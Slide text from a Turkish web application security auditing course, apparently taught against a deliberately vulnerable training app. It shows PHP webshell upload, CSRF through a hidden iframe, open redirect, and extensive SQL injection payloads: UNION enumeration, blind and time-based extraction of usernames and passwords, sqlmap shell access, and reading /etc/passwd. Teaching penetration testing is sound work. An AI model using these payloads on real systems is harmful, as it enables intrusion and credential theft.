Oturum halen geçerli!
Cookie Riskleri
Cookie Özellikleri
Oturum cookie'miz "httponly"
olarak işaretlenmediği için Javascript
kodu ile erişilebilir.
"secure" olarak işaretlenmediği için
HTTP üzerinden iletilebilir.
Cookie Riskleri
Kalıcı Cookie'ler
"BTRmCookie" 2016 yılında expire
ettiğinden diske yazılacaktır.
Cookie Riskleri
Kalıcı Cookie'ler
"BTRmCookie" mevcut tarihten bir
yıl sonra expire ettiğinden diske
yazılacaktır.
Bu cookie onaltılık değerler olarak
belirtilmiştir.
Cookie Riskleri
Kalıcı Cookie'ler
Bu cookie değerini ASCII HEX decode
ettiğimizde içinde telefon numarası
ve kullanıcı adı, soyadının
tutulduğunu görüyoruz.
File Upload Riskleri Uygulamanın resim yükleme
fonksiyonunu kullanıyoruz.
File Upload Riskleri Uygulama resim dosyasının ismini
aşağıdaki gibi oluşturuyor ve bunu
istemci tarafında belirlemiş oluyor.
File Upload Riskleri Bilgilerim sayfasında bulunan linkleri
incelediğimizde fotoğraf dosyasının
bu isimle çekildiğini görüyoruz.
Buradan yüklenen dosyaların
"/profile_photo" dizini altına
yüklendiğini varsayabiliriz.
File Upload Riskleri Bu defa bir resim dosyası yerine bir
php kodu yükleyeceğiz.
Uygulama istemci veya sunucu
tarafında uzantı veya içerik kontrolü
yapmıyor.
File Upload Riskleri Dosya ismi parametresinin değerini
"3.jpg"den "webshell.php"ye
dönüştürüyoruz.
File Upload Riskleri Son olarak bu dosyaya eriştiğimizde
PHP kodu çalışıyor ve sunucu
üzerinde dilediğimiz kodu
çalıştırıyoruz.
CSRF Saldırıları
TL Transfer
isteği
Bu isteği
üretecek PoC
HTML
CSRF Saldırıları
Görünmeyen
iframe'imiz
CSRF Saldırıları
Görünmeyen iframe'e
yüklenecek HTML dosyası
(CSRF PoC HTML verisini içerir)
CSRF Saldırıları
Hedef uygulama
açıkken
Kullanıcı invisible
iframe barındıran
csrf.html sayfasını
ziyaret eder
CSRF Saldırıları
Kullanıcı farkında
olmadan iletilen
istek
Dönen başarılı
yanıt
Redirection Açıklıkları Güvenli çıkış düğmesine
tıkladığımızda karşımıza login sayfası
geliyor. Bu isteği inceleyelim.
Redirection Açıklıkları Bu düğme tıklandığında yapılan
isteğin "loginpage" adında bir
parametre aldığını ve bu
parametrenin de "login.php"
olduğunu görüyoruz.
Redirection Açıklıkları "logout.php" sayfasına giden isteği
bu şekilde düzenlediğimizde bizi bu
sayfaya da yönlendirecek mi
bakalım.
Redirection Açıklıkları
Redirection Açıklıkları Sonuç umduğumuz gibi oldu, bizi
http://www.btrisk.com adresine
yönlendiriyor.
Redirection Açıklıkları
URL ve Referer Başlığında Sızan Bilgiler
TL Yükle fonksiyonu hassas
parametreleri URL içinde iletiyor
URL ve Referer Başlığında Sızan Bilgiler
TL Yükle fonksiyonu hassas
parametreleri URL içinde iletiyor
SINIF TARTIŞMASI
• URL içinde hassas bilgi iletilmesinin doğurabileceği
riskler nelerdir?
URL ve Referer Başlığında Sızan Bilgiler
URL ve Referer Başlığında Sızan Bilgiler
TL Yükle fonksiyonuna yapılan isteğe
dönen HTML yanıtı içinde
www.btrisk.com alanında bulunan
bir resim dosyasına link görülüyor
URL ve Referer Başlığında Sızan Bilgiler
Bu resim dosyasına yapılan istek
mesajının "Referer" başlığı içinde
hassas bilgileri içeren URL bilgisi
görülüyor
URL ve Referer Başlığında Sızan Bilgiler
URL ve Referer Başlığında Sızan Bilgiler
www.btrisk.com alanından çekilen
resim görüntüsü
HTML Comment Bölümlerinde Sızan Hassas
Bilgiler
Çok sık olmasa da özellikle uygulama
geliştirme süreci ve testler sırasında
HTML yorum alanlarında
yerleştirilmiş olan hassas bilgiler
üretim ortamlarında da
unutulabilmektedir
Bu durumu test etmek için elbette
sayfa kaynak kodlarını incelemek
gerekecektir
HTML Comment Bölümlerinde Sızan Hassas
Bilgiler
OTP sayfasının kaynak kodunda OTP
kodunun yorum alanında istemciye
iletildiğini görüyoruz
(Not: Bu alan eğitim uygulamamızın
telefon ekranı görüntüsünde görülen
OTP koduyla ilişkili bir alan değildir)
HTML Comment Bölümlerinde Sızan Hassas
Bilgiler
Burp'ün yorum satırlarını otomatik
olarak ayrıştırabilmesi sayesinde
yorum satırlarını daha kolay
inceleyebilirsiniz
HACKING'İN ALTIN KURALI #2
(MANTIK ve ERİŞİM KONTROL HATALARI DIŞINDAKİ TEKNİK
HATALAR İÇİN)
EĞER BİR SİSTEMİ HACK'LEYEBİLİYORSANIZ
O SİSTEME HATA ALDIRABİLİRSİNİZ
DOLAYISIYLA BİR SİSTEME HATA
ALDIRABİLİYORSANIZ
O SİSTEMİ HACK'LEME İHTİMALİNİZ
VARDIR
HACKING
Hata Ele Alma
Hata Ele Alma Riskleri:
• Web sunucusu, uygulama sunucusu ve uygulama içinde hata
ele alma ve özel hata mesajları (custom error messages)
kullanılmaması, veya
• Uygulama tarafından ele alınan hatalar için teknik hata
mesajlarının kullanıcıya görüntülenmesi olası saldırganların
işini kolaylaştıracaktır.
• Hacking'in Altın Kuralı #2 gereği hata oluşması halinde
uygulamanın hack'lenmesi ihtimali doğacaktır. Hata
mesajlarının zengin biçimde kullanıcıya aktarılması ise saldırı
yöntemlerinin kısa zamanda etkili hale getirilmesine büyük
yardımda bulunacaktır.
Command Injection
system($_REQUEST['cmd']);
Kod Injection
eval($dinamikkod);
Uygulama Sunucusu Katmanı Injection
Açıklıkları
Hangi tür
web uygulamalarında
bu tür fonkisyonaliteye
ihtiyaç duyarsınız?
Web Sunucusu
Tarayıcı (Browser)
Web Sunucusu
Uygulama Sunucusu
Veritabanı
Sunucusu
XML Veri Deposu / Konfigürasyon Dosyaları
Web Servisi
Soket Servisi
Diğer Sunucular
Girdi
Kontrolü
Mantık
Hataları
WEB UYGULAMA MİMARİSİ
SQL Injection Saldırıları
SQL (Structured Query Language) Nedir?
Data Definition Language (DDL)
• CREATE (ör: CREATE TABLE Kullanici (KullaniciID int, KullaniciAdi varchar(255));)
• ALTER (ör: ALTER TABLE Kullanici ADD Adres varchar(255);)
• DROP (ör: DROP TABLE Kullanici;)
Data Control Language (DCL)
• GRANT (ör: GRANT SELECT, INSERT, UPDATE, DELETE ON Kullanici TO bozgenc;)
• REVOKE (ör: REVOKE SELECT ON Kullanici FROM public;)
Data Transaction Language (DTL)
• START TRANSACTION
• SAVEPOINT
• COMMIT
• ROLLBACK [TO SAVEPOINT]
SQL Injection Saldırıları
SQL (Structured Query Language) Nedir?
Data Query Language (DQL)
• SELECT (detaylı şekilde açıklayacağız)
• SHOW
• HELP
Data Manipulation Language (DML)
• INSERT (ör: INSERT INTO Kullanici (KullaniciAdi, Adres) VALUES ('akara','Istanbul');)
• UPDATE (ör: UPDATE Kullanici SET Adres='Ankara' WHERE KullaniciID=26;)
• DELETE (ör: DELETE FROM Kullanici WHERE KullaniciID=999;)
SQL Injection Saldırıları
SINIF TARTIŞMASI
• Bir pentest uzmanı SQL'i neden iyi bilmelidir (veya
gerektiğinde hızlıca hatırlayabilmelidir)?
SQL Injection Saldırıları
SELECT İfadesi
SELECT kolon adları FROM tablo_adı WHERE kolon_adı operatör değer;
ör: SELECT no, password FROM kullanicilar WHERE no = '5550000001';
WHERE koşul örnekleri:
WHERE kolon_adı LIKE pattern (ör: WHERE no LIKE '555%')
WHERE kolon_adı IN (değer1,değer2,...) (ör: WHERE no IN ('5550000001', '5550000002'))
WHERE kolon_adı BETWEEN değer1 ANDdeğer2; (ör WHERE no BETWEEN '5550000001' AND'5550000999')
WHERE koşul örnekleri
(Birden fazla tablodan bilgi çekme) JOIN örnekleri:
SELECT kolon adları
FROM tablo1
INNER JOIN tablo2
ON tablo1.kolon_adı=tablo2.kolon_adı;
Örnek ("alias" kullanımı ile birlikte):
SELECT T1.Ad, T2.HesapNo
FROM Musteri T1
INNER JOIN Hesap T2
ON T1.MusteriNo=T2.MusteriNo;
SQL Injection Saldırıları
SELECT İfadesi
(Birden fazla tablodan bilgi çekme) JOIN örneği:
Örnek ("alias" kullanımı ile birlikte):
SQL Injection Saldırıları
SELECT İfadesi
(Aggregate) FonksiyonKullanım örnekleri:
SELECT COUNT(*) FROM tablo adı;
SELECT kolon_adı, aggregate_fonksiyon(kolon_adı)
FROM tablo_adı
WHERE kolon_adı operatör değer
GROUP BY kolon_adı;
Örnek:
SELECT MusteriNo, COUNT(HesapNo) AS Hesap_Sayisi
FROM Hesap
WHERE HesapTipi='VadesizMevduat'
GROUP BY MusteriNo
(Aggregate) Fonksiyon Kullanım örnekleri:
Örnek:
SQL Injection Saldırıları
SELECT İfadesi
HAVING koşulu:Aggregatefonksiyonlar ile birlikteWHERE koşulu kullanılamadığındanSQL dilineHAVING koşulu eklenmiştir.
SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_nameoperator value
GROUP BY column_name
HAVING aggregate_function(column_name) operator value;
Örnek:
SELECT MusteriNo, COUNT(HesapNo) AS Hesap_Sayisi
FROM Hesap
WHERE HesapTipi='VadesizMevduat'
GROUP BY MusteriNo
HAVING COUNT(HesapNo) >3;
HAVING koşulu:
Aggregate fonksiyonlar ile birlikte WHERE koşulu
kullanılamadığından SQL diline HAVING koşulu eklenmiştir.
Örnek:
Payload: 1 OR 1=1#
SQL Injection Saldırıları
SQL Injection'a giriş
SQL Injection'a giriş
SELECT * FROM fatura_detay WHERE fatura_id=$id
Payload: 1 OR 1=1#
SELECT * FROM fatura_detay WHERE fatura_id=1 OR 1=1#
(tüm faturaları gösterir)
ya da girdi tipi string ise
"SELECT * FROM fatura_detay WHERE fatura_id='".$id."'"
Payload: 1' OR 1=1#
SELECT * FROM fatura_detay WHERE fatura_id='1' OR 1=1#
Tüm faturaları
gösterir
ya da girdi tipi string ise
Payload: 1' OR 1=1#
SQL Injection Saldırıları
UNION ve SQL injection açısından önemi
UNION ve SQL injection açısından önemi
Bilgi çekmek istediğimiz farklı bir tablo varsa UNION ifadesi bize yardımcı olabilir
SELECT kolon adları FROM tablo1
UNION ALL
SELECT kolon adları FROM tablo2;
Ön koşullar:
Diğer tablo ve alan adlarının bilinmesi
UNION yapılacak bir önceki SELECT ifadesindeki kolon adları ile bilgi çekeceğimiz tablonun alan veri tiplerinin uyuşması
Bilgi çekmek istediğimiz farklı bir tablo varsa UNION ifadesi bize
yardımcı olabilir.
Ön Koşullar:
• Diğer tablo ve alan adlarının bilinmesi
• UNION yapılacak bir önceki SELECT ifadesindeki kolon adları
ile bilgi çekeceğimiz tablonun alan veri tiplerinin uyuşması
SQL Injection Saldırıları
UNION ve SQL injection açısından önemi
UNION ile kolon sayısı bulma yöntemleri (hata almayıncaya dek)
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--
String veri tiplerini tespit etmek için
' UNION SELECT 'a', NULL, NULL--
' UNION SELECT NULL, 'a', NULL--
' UNION SELECT NULL, NULL, 'a'--
Not: Oracle veritabanlarında FROM deyimi bulunmak zorunda olduğundan mutlaka bu deyim kullanılmalıdır. Bununiçin ' UNION SELECT NULL FROM DUAL-- kullanılabilir.
Not: Genelliklenumerik değerler string değerler olarak değerlendirilebilir. Ancak tam tersi mümkündeğildir. Bu nedenlekolon sayısını bulurken şu ifadeyi dekullanabilirdik:
' UNION SELECT 1, 1, 1--
UNION ile kolon sayısı bulma yöntemleri (hata almayıncaya dek)
String veri tiplerini tespit etmek için
Not-1: Oracle veritabanlarında FROM deyimi bulunmak zorunda olduğundan mutlaka bu deyim
kullanılmalıdır. Bunun için ' UNION SELECT NULL FROM DUAL-- kullanılabilir.
Not-2: Genellikle numerik değerler string değerler olarak değerlendirilebilir. Ancak tam tersi
mümkün değildir. Bu nedenle kolon sayısını bulurken şu ifadeyi de kullanabilirdik:
' UNION SELECT 1, 1, 1--
SQL Injection Saldırıları
UNION ve SQL injection açısından önemi
Kolon sayısını öğrenmenin bir başka yolu da ORDER BY deyiminin kullanılmasıdır
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- ta ki hata alıncaya kadar. Hata alınan ilk rakam kolon sayısının aşıldığı anlamına gelir.
Kolon sayısını öğrenmenin bir başka yolu da ORDER BY deyiminin
kullanılmasıdır.
ta ki hata alıncaya kadar. Hata alınan ilk rakam kolon sayısının
aşıldığı anlamına gelir.
SQL Injection Saldırıları
MSSQL ODBC Hataları Sayesinde Injection Yaptığımız
SELECT Cümle Yapısını Öğrenme İmkanları
MSSQL, Oracle ve MySQL veritabanları arasında hata mesajları
zenginliği açısından (genel olarak) en kötüsü MySQL, en iyisi ise
MSSQL'dir.
MSSQL Server'ın ODBC hata mesajları HAVING ve GROUP BY
deyimleri kullanılarak tablo ismi ve kolon isimlerinin bulunması
için kullanılabilir.
SQL Injection Saldırıları
MSSQL ODBC Hataları Sayesinde Injection Yaptığımız
SELECT Cümle Yapısını Öğrenme İmkanları
ta ki hata oluşmayıncaya kadar.
HAVING deyimi GROUP BY deyimi ile birlikte kullanılır. Eğer
HAVING deyimi kullanılıyorsa aggregate fonksiyon olsun veya
olmasın aggregate fonksiyona konu olmayan tüm alanlar GROUP
BY deyimi ile belirtilmelidir.
SQL Injection Saldırıları
SINIF TARTIŞMASI
• SQL injection açıklığı tespit ettiğimizde
hedefimizdeki veritabanı sunucusunu ve
versiyonunu neden tespit etmek isteyebiliriz?
SQL Injection Saldırıları
Veritabanı Sunucusunu Tespit Etme Yöntemleri
String veri tipinde girdi alan bir parametre için concatenation
(birleştirme) yöntemleri'nden faydalanarak:
• MSSQL: 'bt'+'risk'
• MySQL: 'bt' 'risk' (arada boşluk karakteri ile)
• Oracle: 'bt'||'risk'
Numerik veri tipinde girdi alan bir parametre için veritabanına
özel fonksiyon kullanarak:
• MSSQL: @@PACK_RECEIVED-@@PACK_RECEIVED
• MySQL: CONNECTION_ID()-CONNECTION_ID()
• Oracle: BITAND(1,1)-BITAND(1,1)
SQL Injection Saldırıları
Veritabanı Sunucusunu Tespit Etme Yöntemleri
Olağan şüpheliler:
• PHP uygulamaları genelde MySQL kullanır
• Java uygulamaları genelde MySQL veya Oracle kullanır
• ASP.NET uygulamaları genelde MSSQL kullanır
SQL Injection Saldırıları
SQL injection için önemli SQL kural bilgileri
Aynı satırda birden fazla SQL komutu gönderebilme
• MSSQL ";" ile ayrılmış komutlar
• MySQL ";" ancak mysqli() nesnesi ve bu nesnesi multi_query fonksiyonu
ile (mysqli PHP uzantısı MySQL 4.1.3 ve sonraki versiyonlarla gelen
imkanlardan faydalanmak için geliştirilmiş ve PHP versiyon 5 ve sonrasında
yer almaktadır).
Sorgunun geri kalanını yorum haline getirebilme
• MSSQL: "--" çift çizgi
• MySQL: "#" ve "-- " karakterleri (çift çizgiden sonra en az bir boşluk
olması önemlidir, aksi takdirde hata oluşmaktadır. Örneğin gerek olmadığı
halde SQL cümlesinin sonundaki bir parametreye injection yaparken --
kullanırsanız bu karakterlerden sonra boşluk oluşmamakta ve hata
oluşmaktadır.)
SQL Injection Saldırıları
Veri Sızdırma Öncesi Veritabanı Yapısını Öğrenme
(Ör: MySQL veritabanı için)
Veritabanı isimlerini elde etmek için
SELECT schema_name FROM information_schema.schemata
Tablo isimlerini elde etmek için
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_adı'
Alan (kolon) isimlerini elde etmek için
SELECT column_name FROM information_schema.columns WHERE table_name = 'tablo_adı'
Veritabanı isimlerini elde etmek için
Tablo isimlerini elde etmek için
Alan (kolon) isimlerini elde etmek için
SQL Injection Saldırıları
UNION SQL Injection Örneği
[Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi)
SQL Injection Saldırıları
UNION SQL Injection Örneği
"'" karakteri hata
alınmasına neden oldu
Hata mesajlarından
bunun bir veritabanı hatası
olduğunu anlayabiliyoruz
SQL Injection Saldırıları
UNION SQL Injection Örneği
"id" parametresi
string tipinde
olmayabilir, numerik
bir payload deneyelim
SQL Injection Saldırıları
UNION SQL Injection Örneği
Bu sorgu için tüm
verilere eriştik.
Bir sonraki adımımız
farklı tablolardan veri
çekmek olacak
SQL Injection Saldırıları
UNION SQL Injection Örneği
SELECT cümlesindeki
Alan sayısını bulmak için
hem numerik hem de alfabetik
veri tipleri ile uyumlu NULL
değerini kullanıyoruz
SQL Injection Saldırıları
UNION SQL Injection Örneği
Alttaki tabloya
veri sağlayan sorgunun
5 alan döndürdüğünü
anlamış olduk
SQL Injection Saldırıları
UNION SQL Injection Örneği
Üstteki tabloya
veri sağlayan sorgu
ise 6 alan
döndürüyor
SQL Injection Saldırıları
UNION SQL Injection Örneği
Öncelikle veritabanı
isimlerine ulaşmaya
çalışıyoruz.
Birinci alanda dönen
verilerin uygulama geliştirici
tarafından kullanılmadığı
anlaşılıyor.
SQL Injection Saldırıları
UNION SQL Injection Örneği
3. alan "Tutar"
bölümünde göründü.
Bu listeden hedef
veritabanımızın
"btrmobile" olduğunu
tahmin edebiliriz.
SQL Injection Saldırıları
UNION SQL Injection Örneği
Daha rahat görüntüleme
amacıyla son alanı
kullandık.
Burada "btrmobile"
veritabanındaki tablo
isimlerini elde ediyoruz.
Kullanıcılar
tablosu ilginç
görünüyor
SQL Injection Saldırıları
UNION SQL Injection Örneği
"kullanicilar" tablosunun
alanlarını listeliyoruz.
"id" veya "no" alanları
kullanıcı kodu olarak
kullanılıyor olabilir. Biz no
alanının kullanıldığını
biliyoruz. "no" ve "password"
alanlarını elde etmeye
çalışacağız.
SQL Injection Saldırıları
UNION SQL Injection Örneği
"kullanicilar" tablosunun
verilerini listeliyoruz.
SQL Injection Saldırıları
UNION SQL Injection Örneği
Açıklık barındıran
sorgularımız işte burada.
SQL Injection Saldırıları
SQL Injection için Araç Kullanım Örneği
Injection yapılacak olan
parametrenin id
parametresi olduğunu
belirtiyoruz.
Geçerli bir oturum
üzerinden injection
yapabilmek için oturum
cookie değerini
belirtiyoruz.
Sqlmap'in shell
imkanından faydalanmak
istiyoruz.
SQL Injection Saldırıları
SQL Injection için Araç Kullanım Örneği
Veritabanı heuristic olarak
MySQL olarak tahmin etti.
Detaylı testleri atlıyoruz.
SQL Injection Saldırıları
SQL Injection için Araç Kullanım Örneği
BOOLEAN (veya
CONTENT) BASED Blind
Injection yöntemini
(daha sonra
bahsedeceğiz) başarı ile
uyguladı.
SQL Injection Saldırıları
SQL Injection için Araç Kullanım Örneği
UNION yöntemi ile SQL
injection'ı yapamadı.
Bunun sebebi sayfada 2
tablo olması olmalı.
Bunlardan birisinde hata
ortadan kalktığında
diğerinde oluşuyordu.
TIME BASED
Blind Injection
yöntemini de
(daha sonra
bahsedeceğiz)
başarı ile
uyguladı.
SQL Injection Saldırıları
SQL Injection için Araç Kullanım Örneği
Uygulayabildiği 2 injection
yöntemini özetliyor.
Shell'imizi
aldık.
SQL Injection Saldırıları
SQL Injection için Araç Kullanım Örneği
Blind SQL Injection
yöntemi ile veritabanı
ismimizi çekebildik.
SQL Injection Saldırıları
Veritabanı Sistem Tablolarına Örnekler
MSSQL
• master..syslogins (kullanıcı tablosu)
• master..sysdatabases (veritabanı tablosu)
• master..sysobjects (veritabanı nesneleri tablosu)
• master..sysservers (linkli sunucular tablosu)
• master..syscolumns (tüm tablolar ve alanları)
MySQL
• mysql.user (kullanıcı tablosu)
• information_schema.schemata (veritabanı listesi)
• information_schema.tables (tablo listesi)
• information_schema.columns (tüm tablolar ve alanları)
Oracle
• user_objects (veritabanı nesneleri tablosu)
• all_tab_columns (tüm tablolar ve alanları)
SQL Injection Saldırıları
Güçlü Veritabanı Fonksiyonlarına Örnekler
MSSQL
• Registery fonksiyonları (xp_regread, xp_regwrite,..)
• Servis başlatma ve kapatma (xp_servicecontrol)
• Komut işletme (xp_cmdshell - SQL Server 2005'ten bu yana ön tanımlı
olarak aktif değildir)
• Veritabanını kapatma (shutdown)
• Kullanıcı ekleme (sp_addlogin)
MySQL
• Dosya okuma (load_file('/etc/passwd') dosya içeriğini string olarak
döndürür)
• Dosya yazma (select * from kullanici into outfile
C:wampwwwkullanici.txt)
SQL Injection Saldırıları
Diğer Sunuculara Erişim veya Veri Aktarım
Fonksiyonlarına Örnekler
MSSQL
• OPENROWSET (çok eski MSSQL Server versiyonlarında (MSSQL Server
2000 ve daha öncesi) farklı bir sunucuya veri göndermek için
kullanılıyordu)
Oracle
• UTL_HTTP paketi ve içindeki fonksiyonlar (ör: UTL_HTTP.request()),
UTL_TCP, UTL_SMTP, UTL_FILE ve diğer paketler
MySQL
• SELECT ... INTO OUTFILE komutu (outfile bir ağ paylaşımında olabilir)
SQL Injection Saldırıları
SINIF TARTIŞMASI
• SELECT dışındaki deyimlere başarılı biçimde SQL
injection yapılabilir mi, yapılabilirse hangi amaçlara
ulaşılabilir?
SQL Injection Saldırıları
SINIF TARTIŞMASI
• Yukarıdaki SQL cümlesine belirtilen alanda injection
yapılabilmesi için cümle yapısında neye dikkat
etmemiz gerekir?
SQL Injection Saldırıları
Blind SQL Injection (Content-Based)
Yöntem: SQL Injection açıklığı UNION tekniği ile farklı tablolardan veri sızdırmamıza
imkan vermiyorsa, ancak injection'ı yaptığımız noktada AND operatörü sonrasında
oluşturacağımız TRUE ve FALSE koşullarına karşı farklı yanıtlar üretiyorsa, o halde bir
şansımız daha var demektir.
Olumsuz Tarafı: UNION tabanlı veya doğrudan yanıt doğuran yöntemlere nazaran çok
daha fazla sayıda istek göndermemiz gerekecektir.
Örnek: Blind SQL Injection yönteminde genellikle veriler harf harf belirlenir ve her bir
harfin değerini bulmak için binary search yöntemi kullanılır. Örneğin 0-100 arasında
bulunması gereken 83 değerini bulmak için önce değerin 50'den büyük olup
olmadığını sorgularsınız, eğer büyükse bu sefer 75'ten büyük olup olmadığını
sorgularsınız, bundan da büyükse 88'den büyük olup olmadığını sorgularsınız. Bu
sayıdan büyük olmadığı için bu defa 75 ve 88 sayılarının ortasında bulunan 81'den
büyük olup olmadığını sorgularsınız ve bu sayı bulununcaya kadar devam eder.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based)
Örnek (MySQL'e özel):
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT concat(username,0x3a,password) from
users limit 0,1),1,1))>80
Koşul: "users" tablosunun ilk kaydından başlayarak bir kayıt al,
bunun birinci karakterinden başlayarak bir karakterini ASCII
değerine çevir ve 80'den büyük olup olmadığına bak.
SQL Injection Saldırıları
Blind SQL Injection (Time-Based)
Yöntem: Eğer SQL injection yapabilmemize ve TRUE ve FALSE koşullar
oluşturabilmemize rağmen yanıtlarda bir farklılık gözlenmiyorsa o zaman TRUE veya
FALSE koşullar oluştuğunda yanıtın dönme hızını etkileyerek yine veri sızdırma
şansımız olabilir.
Olumsuz Tarafı: Hem çok sayıda istek göndermemiz hem de zaman farkına dayanan
bir yöntem olduğu için çok daha fazla süre beklememiz gerekecektir.
Örnek: Time based SQL injection yönteminde sonucun hata doğurup doğurmadığı
önemli değildir, ancak belli bir koşul gerçekleştiğinde sunucunun daha geç yanıt
vermesine dayanarak veriler tahmin edilir.
SQL Injection Saldırıları
Blind SQL Injection (Time-Based)
Örnek (MySQL'e özel):
http://www.site.com/news.php?id=5 and
1=IF(ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),1,1))>80, sleep(15),1)
SQL Injection Saldırıları
Blind SQL Injection (Time-Based)
Veritabanı sunucularının TIME-BASED BLIND SQL INJECTION
saldırılarında kullanılabilecek fonksiyonlarına örnekler:
MSSQL
• WAITFOR DELAY '0:0:10' (10 sn. bekle)
MySQL
• sleep(5000) (sleep fonksiyonu MySQL 5.0.12 ve sonraki
versiyonlarında kullanılabilir, 5.000 milisaniye bekle anlamına
gelir)
• benchmark(50000, SHA1('test')) (50.000 defa 'test' verisinin
SHA1 hash değerini hesapla, bunun dışında CPU zamanını
alabilecek farklı MySQL fonksiyonları da bulunmaktadır)
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
[Fatura Ödeme / Numara ile Ödeme] fonksiyonu ("numara" parametresi)
Numara alanına
"'" işareti
gönderiyoruz.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
Hatalı bir durum oluştu, ancak
uygulama hatayı ele aldı. SQL
Injection olma ihtimali yüksek,
ancak hata mesajı olmadığı için
farklı bir neden de olabilir.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
Manuel olarak yaptığımız denemeler
sonucunda numara parametresinin string
veri tipinde olduğunu tespit ettik.
Ayrıca geçerli bir telefon numarası
girilmemesi halinde gelen yanıtlar her
durumda boş olmaktadır.
Son olarak hedeflediğimiz veritabanı MySQL
olduğundan eğer sondaki iki çizgiden sonra
bir boşluk karakteri konulmazsa hata
oluşmaktadır.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
Comment işlemi için # kullandığımızda da
sonuç alınmaktadır.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
FALSE durumu oluştuğunda dönen içerik
değişmektedir. Aradaki bu farkı blind
injection amaçlı olarak kullanabiliriz.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
Bu noktadan sonra kullanım kolaylığı
açısından Burp ile ilerleyeceğiz.
İlk testimizde database() fonksiyonunun
döndürdüğü değerin ilk karakterinin "a"
(ASCII 97) olup olmadığını test ediyoruz.
Dönen yanıt FALSE durumunda oluşan yanıt
olduğundan ilk karakterin "a" olmadığı
sonucuna varabiliriz.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
Bu defa "b" (ASCII 98) karakterinin doğru
olup olmadığını test ediyoruz ve dönen
yanıt TRUE koşulunda gözlediğimiz yanıt
olduğu için database() fonksiyonunun
döndürdüğü ilk karakterin "b" olduğunu
söyleyebiliriz.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
Veritabanının adının "btrmobile" olduğunu
bildiğimiz için ikinci karakterin "t" (ASCII
116) olup olmadığını test ediyoruz ve
olduğunu görüyoruz. Normalde bu sürecin
binary test süreci ile çok daha uzun sürmesi
lazım.
Bu işlem için bir araç kullanım ihtiyacı
ortada.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
sqlmap.py ile deneme
Önceki sqlmap denememizden
farklı olarak bir POST isteği
üzerinde çalıştığımız için "—
data" switch'ini kullanıyoruz.
"numara" parametresine
doğru ve yanlış sorguları ayırt
etmemize imkan vermeyen
(yani geçerli olmayan) bir
telefon numarası yazdığımızı
not edin.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
Sqlmap geçerli bir telefon numarası tahmin
edemeyeceği için "numara" parametresinin
injectable olduğundan emin olamadı.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
"numara" parametresine bu
defa geçerli bir numara
yazarak denememizi yapalım.
SQL Injection Saldırıları
Blind SQL Injection (Content-Based) Örneği
Sqlmap geçerli bir telefon numarası
verildiğinde time based blind SQL injection
yöntemi ile başarıya ulaştı.
SOAP Injection Saldırıları
Simple Object Access Protocol (SOAP)
SOAP mesajlaşma formatı olarak XML'i kullanan bir
protokoldür.
<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:ApproveOrder>
<!--Optional:-->
<tem:gsm>?</tem:gsm>
<!--Optional:-->
<tem:pstn>?</tem:pstn>
<!--Optional:-->
<tem:email>?</tem:email>
<!--Optional:-->
<tem:address>?</tem:address>
<!--Optional:-->
<tem:postCode>?</tem:postCode>
<tem:cityID>?</tem:cityID>
<tem:countyID>?</tem:countyID>
<tem:isApproved>?</tem:isApproved>
</tem:ApproveOrder>
</soapenv:Body>
</soapenv:Envelope>
SOAP Injection Saldırıları
Simple Object Access Protocol (SOAP)
Test yöntemi:
Girdi alanlarına "</test>" veya benzeri bir girdi
gönderildiğinde uygulama hata üretirse uygulamanın
girdiyi bir SOAP mesajı içinde kullanma ihtimali
bulunduğunu söyleyebiliriz.
XPATH Injection Saldırıları
XML Path Language (XPATH)
XPATH XML dokümanları içinden veri çekmek için kullanılan bir
dildir.
XML dokümanlar veri saklamak için ilk tercihlerden olmasa da
konfigürasyon verisi gibi verilerin saklanması için kullanılabilir.
XPATH Injection Saldırıları
XML Path Language (XPATH)
XPATH Sorgu Örneği:
• //adres/eposta/text()
• //adres[ad/text()='Mehmet']
Test Yöntemi:
SQL injection'a benzer şekilde "'" işareti hata doğurursa
XPATH injection ihtimali doğabilir. Bunun dışında "[",
"]", "(", ")", "/" gibi XPATH için özel karakterler de
kullanılabilir.
LDAP Injection Saldırıları
Lightweight Directory Access Protocol (LDAP)
LDAP Sorgularına Örnekler:
• (|(cn=arama_terimi) (sn=arama_terimi)
(ou=arama_terimi))
• (&(kullanici_adi=5550000002) (parola=par0la))
Test Yöntemi:
LDAP sorgularında özel karakterler fuzzing testlerinde
kullanılabilir: ( ) ; , * | & =
Çok sayıda parantez işareti LDAP sorgusuna müdahale
edebilmek için kullanılabilir "))))))))"
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
